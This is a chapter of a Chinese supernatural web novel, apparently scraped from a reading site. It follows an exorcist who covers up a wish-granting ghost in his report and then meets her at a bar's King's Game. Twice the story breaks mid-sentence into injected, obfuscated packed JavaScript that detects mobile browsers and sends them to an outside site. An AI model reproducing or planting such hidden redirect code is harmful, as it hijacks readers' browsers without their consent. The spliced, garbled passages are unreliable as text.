【红梅公寓诅咒畸变事件总述报告】 发件人:陶桃。 “喂,走啦,再不走迟到了!”孟步凡站在门口喊他。 “……” 周少麟放下手机,“来了。” * 下课后,齐璟要开会先走一步,三人一起回宿舍。盛时乐跟周少麟畅谈新学期话剧社规划,孟步凡时不时插两句吐槽。 他边走边刷手机,忽然发出一阵惊天动地的爆笑: “快!快去看校友论坛!冯凯那傻狗在酒馆被人打了啊哈哈哈哈哈哈哈!” 屏幕怼到周少麟面前,一行黄色的标题明晃晃地映入眼帘: 《大快人心!哪位女侠把凯子哥打进了医院?》 “好像说是昨晚他在后街酒馆带女生去包间,试图动手动脚,结果被打晕在了里面,服务员进去就看到他倒栽葱似的躺在地上,赶紧送医院了。” 孟步凡边翻评论边说:“当然他没有承认咯。但是几个人看到的都差不多,八成是真的。太活该了哈哈哈哈哈哈哈哈哈!” 帖子被他转到了宿舍群,点开一看,评论区基本都是一连串的“大快人心”“正义虽迟但到”以及“愿请侠女吃饭”等等。概括一下人民群众的态度就是: 好死,开香槟。 冯凯是隔壁一所普本的学生,在同城学生里的风评只能用糟烂来形容。 他是个标准的纨绔子弟,家里有官有商,平时花天酒地,为人飞扬跋扈。但因为背景够硬,无论霸凌、造谣还是嫖/娼,都不会有什么严重后果。 在前年闹出的最大一桩事里,他甚至活活逼死了人。一个会所里陪酒的女孩,从七楼跳下。 沾染人命的恶性事件,最后却还是由于证据不足被压了下去,没有受到任何实质惩罚。 孟步凡交际圈子最广,很早就看他不爽,还起过几次正面冲突。结果虽然都是冯凯吃亏,但孟步凡终究也不能拿他怎么样。两人积怨已久,现在冯凯大栽跟头,孟步凡只想跳脸嘲笑。 “他被打成什么样了?”盛时乐积极发问。 “也没啥。就脑壳破了一块要缠纱布,然后扭到了脖子,大概还有点脑震荡。”孟步凡不满,“最多住几天院吧,啧。” “所以到底是谁把他给收拾了?”盛时乐很好奇,“我听说冯凯练了十年拳击,巷斗里一个打五个都没输过。” “就是说啊!”孟步凡眉飞色舞,“哎,到底是哪位女中豪杰呢?我要请她吃一年的饭再拜为兄妹!” 两人一唱一和地嘲笑了一路。回到宿舍,盛时乐吃过晚饭就去社团活动室了。 他刚刚上报了一出新剧目,如果成功通过,会有一个难得的在星海剧场表演的机会,这段时间都在忙这个事。 孟步凡则在衣柜里挑挑拣拣找衣服。他家里有钱,对穿的还是有那么点讲究。今天本来就有个同城聚会,再加上冯凯喜入院,孟步凡必然是要去酒吧搭个香槟塔请客的。 他转向周少麟:“虽然你大概率不去吧但我还是要问,今晚我们在后街酒馆聚会,来吗?” 作为327交际花,孟步凡在各个学校都认识一堆外向爱玩的E人,时不时就去酒吧民宿KTV交流感情。他是很希望把周少麟拉去朋友面前秀一秀的,但后者从未答应。 周少麟坐在电脑前:“不了,写报告。” “写完发我一份。”孟步凡潇洒转身,“拜了个拜!” * 暮色四合,宿舍里只留下了周少麟一个人。 他点开陶桃发过来的调查报告,从头开始阅读。 管理局的办事效率一如既往的高,报告从2018年梳理到2023年,条分缕析,巨细靡遗。除了他和赵嘉言提供的信息,甚至还回访了已经被收押的、曾隶属于基石药业的通灵者,网罗各方信息。 但最终的总述还是和周少麟的解释没什么区别。这是当然的,他本就是最关键信息的提供者,唯一能串联整个故事的人。 即使其余材料中存在看似矛盾的微小噪音,也会被当做失真信息筛去,无法动摇他给出的真相框架。 不过……会找人回访,说明裴誉还是起了疑心。他的直觉向来很准,这次也不例外。 但是无所谓。直觉归直觉,证据归证据。红梅公寓事件过去三年,真相早已被掩埋在时间里,没有记忆碎片回溯,就算找回当年的人也拼不出事件原貌。 所以,就这样结案吧。 所谓能实现一切愿望的白幽灵,只是虚假的以讹传讹,和其他诅咒没有任何区别。 心想事成的因果置换能力,从未存在过。 在沈天合死后不久,基石药业就被管理局查封倒闭了。它因那个“财运”的愿望而兴,又在许愿者死后迅速消亡,好像就是为了那份愿望与代价而存在的一样。 盛衰皆由愿望决定,中间的逻辑却无比合理。 这本是不可能被觉察的天赋,因为再强大的通灵者也无法感知因果的轮转。 纵观通灵世界的历史,因果律天赋出现的次数屈指可数,近代百年更是完全绝迹。每个因果律天赋都伴随着繁复的使用限制,单是识别它们就要付出巨大的代价。 与之相比,白幽灵“因果置换”的发生条件可谓简单得不可思议。使用这个天赋,竟然只需要“人类的真心”。 而能力的效果又如此惊人,几乎彻底地扭转了一个人的未来轨迹。 ……到底是什么样的执念,怎么会诞生这种能力? 如果这份力量真正显露在世人眼前,必定会掀起轩然大波。 从这个角度来说,祓除白幽灵是绝对必要的。过去实现的愿望已经无法改变,只能在更多未知的后果成型之前将其扼杀。 ……但最棘手的地方也在这里。白幽灵,似乎真的无法被杀死。 龙雀的业火、黑笼的斩切、沈月的黑水,各自对应灵器、灵力、咒力。 这些涵盖了近乎所有类型的攻击手段,对白幽统统无效。 诅咒在自己的领域里确实拥有非凡的再生能力,但那绝不等于可以无视任何攻击。过重的损伤是不可愈合的,这正是它们能被祓除的前提。 然而,这一切前提在白幽身上像是彻底失效了。不管在现实还是在域里,白幽根本不在乎任何攻击造成的伤害。只需要几个呼吸的时间,她就能完好无损地复原。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360544|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鲜血与死亡从她身上淌过,留不下一星半点。 那个除魔师感到破防很正常,因为这简直是颠覆常理。如果说因果律天赋还在通灵界的认知范围内,那不灭之身根本就不可能存在。 也许试验更多的手段,可以发现真正杀死她的方法,但这个过程必然会伴随着巨大的代价。因为即使不使用天赋,白幽也掌握着远超一级的强大力量。 在领域外猎杀一个如此级别的诅咒,一步踏错,就是席卷整座城市的恐怖伤亡。 白幽灵真正造成的危害值得付出这么大的代价吗? 周少麟垂下目光。 因执念而诞生的诅咒,绝大部分以噬人为生。可白幽以实现愿望维系存在,自然就没有这样的需求。 即使在作为怪谈盛行的那段时间,白幽也从未引起过管理局的关注。一方面是因为因果律天赋实在无法觉察,一方面也说明……她应该没有杀过多少人。 随心所欲,非善非恶。 作为都市盛行的怪谈传说,跟作为被管理局认证的诅咒,完全是两个概念。如果将白幽灵的存在汇报上去,高层必然会采取相应的行动。双方爆发冲突,走向和结果都无法预想。 无论最终成功或失败,无论高层是想许愿还是研究,都会造成太多变数。 沈天合对财富的愿望改变了一个公司的兴衰。若是更强烈的愿望,又会带来什么结果? ……如果有更多人相信她的力量,有更多人得以实现愿望,这些愿望和代价将怎样改变这个世界? 无法祓除,也不能上报。 既然这样,那最理想的情况就是让白幽继续像之前一样游离边缘,成为一个虚无缥缈、真假难辨的传闻。 虽然黑匣子的封印对白幽并不算什么,但经历过这种事,她应该也知道要远离除魔师了。 离开这座城市,别出现在他面前。 这样,他们就没有为敌的理由。 * 周少麟向陶桃作完最后的内容确认,打开文档和程序,开始写报告。 很多除魔师都会有日常身份,做成怎样不重要,主打一个体验。但周少麟已经习惯了把每件事做到最好,因此比起聚会还是更喜欢看书和学习。 陶桃问过他,为什么还要读大学,简直是给自己多找份工打。周少麟给的理由也很简单,因为他现在就是上学的年纪。 上课,写作业,参加社团,和同龄人打打闹闹。他答应过,一定要体验这样的人生。 手机铃声忽然响了,一接起来就是个极富穿透力的声音: “大事不好啦——!!!” “……”周少麟:“请说。” “你的声音好冷漠!”孟步凡哽咽,“是这样的,我们今晚在后街酒馆搭香槟塔,玩抽杯子的游戏……我、我一不小心,把整个塔弄倒了。” “哦……可你不是很有经验吗?” “呜呜呜就是因为很有经验我才想挑战拿最下面那一杯啊!!” “……” 周少麟:“然后?” “然后我衣服就全湿了。”孟步凡扭捏,“但我还不想走,所以你给我送一套新的过来嘛……” 这个要求太过离谱,饶是周少麟也沉默了两秒。 “也许你觉得我无情无义无理取闹,但我真的是有理由的!”孟步凡强调,“我们今天聚会,加了一个超级大美女!” 他深沉道:“特好看,特有趣,那种独特的气质简直可遇不可求,完全就是我的理想型。” 周少麟:“……” 孟步凡每年都要遇上那么几个截然不同的理想型,很难评价,周少麟只能祝他成功。 “——所以啊,你忍心让兄弟在理想型面前因为湿身中途遗憾退场吗?或是穿临时淘的地摊货强作潇洒?!不,你一定不是这种冷酷无情的人!” 孟步凡痛心疾首:“真的,就这一次。我保证下个月的作业都自己做,还请你吃一学期的饭,会员卡随便给你刷!而且又不远,你过来看一眼美女也不亏的呀!” “来嘛,就小小跑一趟,就一次就一次就一次就一次……” “……” 再不答应他可能要找个地方打滚了。 周少麟看一眼写好开头的报告,叹了口气:“包厢号。” 孟步凡大喜过望:“哥,你就是我的亲爹!” 他报了个号码,美滋滋地嘱咐:“挑套有型的衣服哈。” 周少麟拉开他满满当当的潮牌衣柜,取出两套叠好装进袋子里,“二十分钟后到。” “好咧!” 手机那端隐约传来喧闹声,有人在喊孟步凡回去了。周少麟正准备挂断电话,对面却又想起什么似的开口道: “对了,你骑车过来是不是要走平岗路?最近那边车祸特别频繁,昨天又出了一桩。一家三口,两死一伤。” “路上小心哦,少麟。” * 十五分钟后,周少麟拎着两个袋子站在了包厢门口。 屋内传出一阵阵笑闹声,伴随着激烈的音乐。显然里面的人玩得很尽兴,气氛正酣。 敲门是肯定听不见的,他拿出手机给孟步凡打电话。 几秒后,门被一把拉开,孟步凡乐颠颠地迎上来接过袋子:“谢谢谢谢!湿衣服穿着难受死了!” “嗯。”周少麟说,“那你继续玩,我走了。” “诶等会儿。”孟步凡拉住他凑到门口,小声地说,“来都来了,也给你看看。这就是我们今天新遇到的那个女孩子,真的很特别!” 周少麟一心回去写报告,对此毫无兴趣:“我就不……” 他忽然停住了。 包厢里满满当当地坐着十几个年轻男女,其实看不出孟步凡指的是谁。但也根本不需要指出,因为那个人特别得实在太明显了。 长发流银,肌肤素白,身着黑裙的女孩笼罩在霓虹绚烂的光线中,正端着酒杯和旁边的女生谈笑,一举一动都让人移不开视线。 很难想象现实世界有这样的存在,她像是从童话里走出来的精致人偶,透着不真实的美丽。 隔着喧嚣的人声与迷离的光影,女孩遥遥地看了过来,幽蓝的眼瞳荧荧如鬼火。 “怎样?”孟步凡得意道,“是不是很漂亮?想不想认识一下?” 周少麟一句话也没有说。 “孟公子的朋友?大帅哥啊!”有眼尖的女孩发现了站在门口的两人,热情地打招呼,“过来一起玩儿嘛!” 孟步凡笑着对她摆摆手,一边把周少麟往外推:“好啦走吧,当心等会儿他们把你留下来灌酒!” “不。”周少麟挡开孟步凡的手,“我留下。” “诶?” 周少麟凝视着中央的女孩,一字一顿道:“我留下。” 玩得正尽兴的人群纷纷鼓掌,为新人的加入起哄叫好。他们都和孟步凡很熟,当然欢迎他的朋友,反正人越多越热闹。 喧闹中有人对他举杯,温暖的酒液在玻璃杯中轻轻晃荡,折射出令人目眩神迷的色彩。 白幽端着酒杯,盈盈一笑:“欢迎你!” 29.因缘再会(3) 五光十色的镭射灯在包厢里来回扫过,十几个年轻男女围着玻璃长桌在沙发凳子上坐了一圈,各自说说笑笑。 白幽坐在周少麟对面的位置,两人各在一头一尾,如同对弈。 她小口啜饮着那杯天蓝色的鸡尾酒,放下杯子时对他微微一笑。 周少麟错开目光,毫无波澜,像是没看到。 他用最快的速度冷静了下来,现在首先要判断状况。 ——白幽为什么会在这里? 显而易见,她在找他,她找到了。 ……她依然要找他许下三个愿望,即使这毫无根据,即使他已经拒绝。 周少麟的心沉了下去。 抵着下颌的指节无意识地摩挲起颈环,拭过的地方都微微发烫。 龙雀化形总是透着寒铁般的冰冷,此刻却散发出灼热的温度。这是绝世名刀渴血的共鸣,它在回应宿主的心意。 ……动手的事先放一边。白幽是怎么找来这里的? 红梅公寓诅咒域消散后,他们就此分开,她不可能在裴誉等人在附近的情况下无声无息地跟上他,也不可能在他身上留下任何追踪印记而不被觉察。 唯一的解释,就是白幽去调查了他。但诅咒的信息网不比管理局,怎么可能短短一天就追到学校附近? 再者,如果已经查出他的所在,为什么不直接去学校?如果不是今天被临时拜托,他根本就不会来后街酒馆。就算白幽是知道了他和孟步凡的舍友关系,绕这个弯子又有什么必要? 她的目的是什么?打算用什么方式让他许愿?对他的信息掌握了多少? 各种疑问在脑海中飞速闪过,周少麟心念电转,试图梳理乱麻一样纠缠起来的可能性。 孟步凡在他旁边站起来,拍拍手吆喝了一声:“来来,有人加新开一局了啊!我们这局玩国王游戏!” “噢哟,玩这个!”有人笑起来,“是不是谁出了什么新八卦?有故事的请自觉站出来哈!” 孟步凡嘘声:“去去!” 他靠近周少麟低声问:“国王游戏知道规则不?能玩吧?” 周少麟从纷繁的思绪中短暂抽出来,无所谓道:“都可以。” “好嘞!”孟步凡把纸牌洗了两轮,笑得一脸阳光,“发牌发牌!” * 孟步凡的真实心情并不阳光。 岂止是不阳光,简直惊涛骇浪。 这本是一个普通的聚会。只是趁着开学不久和朋友们一聚,打听八卦顺带嘲笑冯凯,搭个香槟塔,痛打落水狗。 这又是一个不普通的聚会。第一个不普通在于他偶遇理想型美女并成功组局玩耍,第二个不普通,在于他的好兄弟周少麟也看上了这个美女。 ——老·天·爷·啊! 多少次,以往多少次邀请周少麟都没跟他出来参加过同城聚会。这次他都没劝了,他反而主动留下——这是什么天崩地裂级别的异变前兆?! 很显然,这态度一百八十度转变的关键就在于他对白幽的惊鸿一瞥。 只因在人群中多看了一眼,从此就再也无法移开视线。昔日喧嚣的聚会因她的存在而变得精彩,即使要留在不适应的环境里,也希望能找到与她拥有同一个未来的契机。 ——毫无疑问,一见钟情。 如果这都不是一见钟情,孟步凡愿意让盛时乐拖一个学期的地(盛时乐:?) 周少麟,你小子也会一见钟情啊! 不过这也不奇怪,回想起来,他也是第一次见面就对这个女孩留下了深刻的印象。 孟步凡是在一楼酒馆的大厅里遇到白幽的。当时他和朋友们已经在池子里搭好了香槟塔,正在玩抽杯子打赌的游戏,每拿走一杯就喝一杯,吸引了一众人围观叫好。 然后这个女孩走上前,问她可不可以也来玩。 她出现的时候,整个吵闹的人群都静了一秒。说来奇怪,这么漂亮的女孩,在围观时竟然没有引起任何注意。直到她主动上前搭话,人们的目光才被这份异样的美丽所牵引。 孟步凡从不拒绝女生的请求,更别说是一起玩的了,当然是愉快地同意。女孩看上去挺开心的,上手就准备抽中间的酒杯。 香槟塔一般都是从边缘开始抽,抽中间的一个不慎把整座塔碰倒,很快就没得玩了。孟步凡好心提醒了一句,女孩却说没关系,自己不会碰倒,她就想喝中间的。 在所有人的注视下,女孩取出了那杯深红的鸡尾酒,动作轻巧得像摘下一片掉落的树叶。 人群爆发出激烈的掌声。女孩又再抽了两个中间杯,香槟塔依然纹丝不动。 孟步凡看得心痒痒,心说这技术也太好了,还是说这个塔搭得特别稳? 他想着也抽一个试试,于是毅然决然地在起哄声中挑战了一把。 哗啦。 虽然酒馆服务生立刻找了条毛巾给他擦,但换洗衣物就难提供了。孟步凡于是带着朋友们转战包厢,也邀请女孩一起来玩。 本以为会被拒绝,但女孩却高高兴兴地跟了上来,说她好久没跟人玩了。 女孩自我介绍叫白幽,原本是来找人的,但是人没来,就先跟大家一起玩着吧。 白幽活泼外向又爱说话,很快就跟他们融成了一片。孟步凡湿衣服穿得难受无法全情投入,又不甘错过这等有趣的美女,赶紧电话求助周少麟送过来。 衣服送来了,人也不走了。 ——谁能想到他这会儿铁树开花啊!! 不仅如此,接下来的细节更是处处印证孟步凡的猜想。 坐下了,是对面,加一分。 点了一个色系的饮料,心有灵犀,加两分。 开口了,礼貌但不失疏离地应对旁边女生的搭讪示好,显然心思不在上面,加五分。 对视了,白幽主动微笑,加十分。 以孟步凡超过八百本校园都市言情的丰富阅历,他早已对这种情节烂熟于胸。 ——天选开局,命中注定! 虽然感情有先来后到(显然他是先来的),但事情分轻重缓急——如果孟步凡错过白幽,也许还能多个朋友,但如果周少麟错过这份心动,也许就要单身一辈子! 尽管心中百般煎熬,但孟步凡已经做出取舍。他不是爱情的拦路虎,他是挚友的红鸾星。 好伟大,谁让他是周少麟的亲爹。 为此,孟步凡甚至用心良苦带着大伙开了局国王游戏。众所周知,这是没暧昧创造暧昧、有暧昧创造情侣、有情侣原地结婚的神助攻游戏。若不如此,以周少麟的性格,想必到散伙都没跟人家说上两句话。 父之爱子,则为之计深远。 一轮发完,每人手中都有一张字面为A-K的牌,孟步凡将“国王”的牌押在桌子中间,坐回原位。 “好了,现在翻牌……都看看,鬼牌在谁那?” 众人纷纷查看自己的暗牌,又倒扣回去,等待着国王的现身。一片安静中,孟步凡不紧不慢地翻开自己的手牌看了一眼—— “哈哈!”孟步凡啪的把鬼牌翻开扔到桌子上,“我是国王!” “噢——”大伙配合地起哄。周少麟瞥了一眼他的牌,没说什么。 “第一轮,让我想想要干什么哈……” 孟步凡状似得意地摸着下巴思索,眼睛却骨碌骨碌地转了几圈,一一扫过在座众人的暗牌。 他在观察。 这副牌是孟步凡带来的,收藏版,每个数字后面的图案花色都不一样。一般人当然记不住也不关心,但孟步凡用了这么多次,还是有些印象的。 在洗牌的时候,他更是藏心眼地把鬼牌放在了第一张,顺势发给了自己。 实在是蔫坏,以后肯定不能这样。但这次他没有任何私心,一切,都是为了给他的好兄弟周少麟铺路! ——国王游戏的乐趣就是所有人服从“国王”的命令,那想要在场人发生什么接触还不是手到擒来?红娘月老也不过如此! 既然现在身份到手,事情也就很简单了。只要看一眼周少麟的牌……啊靠他牌呢? 周少麟的手支在桌上,手肘按住牌面,刚好遮住了有差别的花色图案。孟步凡目光几度流连,也没认出那是什么。 孟步凡:“……” 好,你很好。你小子在单身这条路上真是不遗余力。 但是这难道就能难住我吗?看不到你的花色我还不能看人家的吗?! 包厢里不暗,桌子上方更是悬着一盏灯,不难看清各人的纸牌。 孟步凡故作深沉地扫过牌面,艰难地回忆着数字纸牌对应的记号:万花筒里有棉花糖的是4,有闹钟的是A,有米老鼠的9……还是10来着? 有人开始催了:“孟公子还没想出来啊!” “哎呀,第一个游戏当然要刺激点了!”孟步凡应付地答了一声。 并不,他只是在认花色。其实游戏他已经想好了,而且堪称完美。 ——命令两个人牵手对视三分钟,谁先笑出来就罚三杯酒。 看似简单的暧昧小游戏,实则暗藏玄机。 首先周少麟这个棺材脸是不可能笑的,笑出来的只可能是活泼可爱的白幽。那么白幽就要自罚三杯,但女生自罚三杯是否有点过多了呢?如果全让她喝是否有点不绅士呢? 最多一杯,周少麟就会站出来给她解围分担。毕竟冷淡不等于低情商,这份体贴都没有他也真是活该单着了! 那么,情况就变成了这样。 先是营造牵手对视的暧昧氛围,让他们眼中只能看到彼此。 然后白幽罚酒周少麟分担,让她感受到独有的关怀。 此时好感度想必已经上来了。而做游戏的时候,他们势必要坐到一起去,有好感度之后显然也没必要再分开了,那么接下来几轮两人都会坐在一起。 ——这不就得说说话?这不就得交交心?这不就始于颜值陷于温柔忠于了解? 周少麟对白幽的一见钟情已经毋庸置疑,而白幽,面对一个英俊体贴礼貌温柔刚刚有过暧昧接触且对自己怀抱好感的优秀男性,又有什么理由不心动呢? 没有的。根本没有! 真是好天才的想法。孟步凡恨不得让周少麟写一万字论文来夸他。 万事俱备,现在唯一的问题就是分辨号码,准确下令。 现在一圈扫下来,除了白幽和另外一个男生隔太远了实在看不到,各人的牌他也基本有数了。 目前只有3个数字还没认出来——3号、5号和7号。如果直接两两配对,那配到他俩的概率只有1/3。孟步凡不能冒这个险,毕竟人选一换就全完蛋了。 也许他的表情实在过于凝重,连周少麟看向他的目光都带上了几分疑惑,手松开了少许。 就在这电光石火的关键一刻,孟步凡用他的火眼金睛捕捉到了牌面的花色。 万花筒里带水晶石纹路,那毫无疑问是—— 孟步凡深吸一口气,双目放光: “——5号!和逆时针数第五个人牵手对视三分钟!谁先笑出来就自罚三杯!” 话音落地,全程鸦雀无声。 白幽就是周少麟逆时针方向数的第五个人。孟步凡瞥了眼周少麟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373624|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后者安静地坐在原地,面上没有一丝波澜。 哦呵呵,这么矜持啊。无所谓,你会感谢我的! “哎呀!”孟步凡造作地扯着嗓子朝周少麟喊,“5号,5号是谁啊?可不要不好意思哟!” 还是没有人应声,众人纷纷左顾右盼,有的人还拿起牌再看了眼数字。周少麟依然毫无反应,只是看他的眼神好像在说有病就去治。 孟步凡心中忽然升起一种不详的预感。 周少麟是个遵守规则的人,即使再不情愿,最多也是站起来拒绝,绝不会装成无动无衷。 该不会…… 躁动之中,一个浑厚的声音终于响起:“不好意思,大伙儿,我是5号。” 孟步凡循声望去,正是那个坐太远导致他没读出数的男生。 这个人孟步凡其实不是很熟,属于是朋友的朋友带来玩的,但第一次见面的时候,那种从江湖厮杀而出的气质就给他留下了深刻的印象。 ——虎背熊腰,满脸横肉,即使坐着,也如一座小山般威武雄壮;细细的眼中放射出两道精光,有鹰视狼顾之姿;手臂上横着一道狰狞的疤痕,仿佛是刚刚去光明湖公园砍死了三个人后的光荣负伤。 此人昵称大飞,是大反派的简称。他反派就反派在长得太反派,逛街也像在收保护费,让人看到就情不自禁交出钱包,所过之处小儿止啼,警察都觉得犯罪率上升了。 其实大飞性格很温和,堪称阎王面孔菩萨心肠。孟步凡对他的印象虽然挺好,但也由衷觉得谁要跟他含情脉脉地对视三分钟有点惊悚吧! 没事,数一数。大飞逆时针数第五位的人是,勇哥、小水、阿雪、豹子,然后是…… 所有目光齐刷刷聚集在他身上。 孟步凡:“……” “那个,孟公子。”众目睽睽之下,大飞端起酒杯,诚恳地看向他,“我觉得我是不可能不笑的,先自罚三杯了哈。” * 游戏继续,由于孟步凡仍处于呆滞灰化状态,下一轮变成了周少麟来发牌。 切牌三次,按逆时针顺序下发。没有翻开自己的身份牌,他转向呆若木鸡的室友:“你还好吗?” “走开。”孟步凡心硬得像石头,“不想跟你说话!” “……”周少麟无语:“你自己记错图案的。” “十几个花色记岔很正常好吧!!”孟步凡先是愤怒,随后愣住,“……等等,你知道?” “太明显了。” “啊靠那你不配合我?哥们可是在为你的终身大事而努力!!” 孟步凡凑近压低了声音:“就直说吧,你看上人家白幽了是不是?你得自己积极点好不!” “你知道她的名字?”周少麟目光一凝,“你们是怎么遇到的?” “就我们在大厅搭香槟塔的时候,她加进来抽杯子啊。然后我问她要不要来包厢玩,她就答应了……” 孟步凡有些惊讶:“哦,原来你是之前就认识她吗?这也太巧了吧!” “……” “是啊。”周少麟低声说,“真是太巧了。” 绚烂的灯光下,白幽正兴致盎然地跟几个女孩子讨论着什么话题,投入得直到被提醒了才想起来翻自己的身份牌。 她似乎很享受这种热闹的氛围,看上去远比他更合群。 这并非伪装,因为白幽灵从来不会掩饰自己的任何东西。正常也好,诡异也罢。 即使她真的查到了他的信息,又为什么选择在这里见面呢?因为喜欢?因为有趣? 如果是为了用相识之人的性命来威胁他……那她现在,是抱着随时可以杀掉这些人的心态在跟他们玩乐吗? 周少麟按着倒扣的纸牌。 与其自己揣测,不如直接将选择权交到她手里。 轻薄的纸牌翻转过一个弧度,白幽讶然道:“哇,这局我是国王!” “哎呀!”旁边的女孩兴奋地拍拍她,“快快快!来个刺激的!” “好呀。”幽蓝的眼瞳中溢出一点笑意,“如果能做到,肯定会很刺激的。” 绘着舞蹈小丑的鬼牌从指尖轻盈地飞出,落在桌面中心,白幽的声音清脆得像是在地上摔碎的镜子。 她微笑着说: “——9号,向我许愿吧!” * 现场有十四个人,从A到K的十四张纸牌,背后是不同的繁复花色。 如果能记住鬼牌的图案和所处位置,确定发牌顺序,按一定的规律和手法切牌,直到鬼牌位次轮到自己想要的地方,就可以指定任何人成为“国王”。 周少麟选择了白幽。 他要让她下达“命令”,因为白幽并不会伪饰自己。无论想得到什么,她都会直接说出来。 ——正如现在。 在所有人下意识的找寻的目光中,周少麟翻开了纸牌:“我是9号。” “是你啊。”白幽用手指撩起一缕长发,语气轻快,“许个愿吧!这就是我的命令。” “确定要这样吗?”周少麟静静地看着她,“变得像是我在要求国王一样了。” “那对你有什么不好的呢?”白幽眉眼弯弯,“就当成是女王的赏赐,开心地接受吧!” 他们的对话自然而流畅,像是一出精心编排的舞台剧,每句都意有所指。 “……”片刻的沉默后,周少麟说:“好。” 长桌上的玫瑰插花在空气中微微摇曳着,他从座位上站起身,向对坐的女孩伸出手,仿佛在邀请一曲共舞: “——那么女王殿下,能陪我出去走走吗?”